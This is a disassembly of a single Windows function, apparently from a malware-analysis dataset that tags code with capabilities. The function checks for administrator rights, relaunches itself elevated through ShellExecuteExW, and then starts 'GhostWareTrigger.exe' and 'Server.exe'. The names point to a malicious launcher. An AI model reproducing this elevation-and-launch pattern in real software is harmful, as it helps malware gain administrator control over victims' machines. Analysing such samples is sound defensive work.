Function at 0x140001360
Capabilities:
Create process on windows
Execute command
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x650], rax
lea rcx, [0x14000362c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
mov word [rbp + 0x14], 0x500
lea rax, [rsp + 0x60]
mov dword [rbp + 0x18], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x60], rbx
mov dword [rbp + 0x10], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001400
mov rdx, qword [rsp + 0x60]
lea r8, [rbp + 0x18]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x18], ebx
jne 0x14000149e
mov r8d, 0x104
lea rdx, [rbp + 0x440]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000149e
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x70
xor eax, eax
lea rcx, [rbp - 0x60]
mov qword [rbp + 4], rax
mov dword [rbp + 0xc], eax
lea rax, [0x140003630]
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp - 0x58], rbx
movups xmmword [rbp - 0x4c], xmm0
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x440]
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x48], rax
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x30], 1
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14000159a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Critical_Error:_Failed_to_relaunch_as_administrator._Error:__lu_n
call fcn.140001010
mov eax, 1
jmp 0x14000159c
movups xmm0, xmmword [str.GhostWareTrigger.exe]
movzx eax, word [0x1400036f0]
xor edx, edx
movups xmm1, xmmword [0x1400036d8]
lea rcx, [rbp + 0x4a]
mov r8d, 0x1de
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x1400036e8]
movsd qword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x48], ax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x140003708]
lea rcx, [rbp + 0x246]
movups xmm0, xmmword [str.Server.exe]
mov dword [rbp + 0x240], eax
xor edx, edx
movzx eax, word [0x14000370c]
mov r8d, 0x1f2
movaps xmmword [rbp + 0x230], xmm0
mov word [rbp + 0x244], ax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdx, [rsp + 0x68]
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
xorps xmm1, xmm1
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0x20]
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rbp - 0x80], xmm1
call fcn.140001070
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x230]
call fcn.140001070
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400015d0
mov rbx, qword [rsp + 0x770]
add rsp, 0x760
pop rbp
ret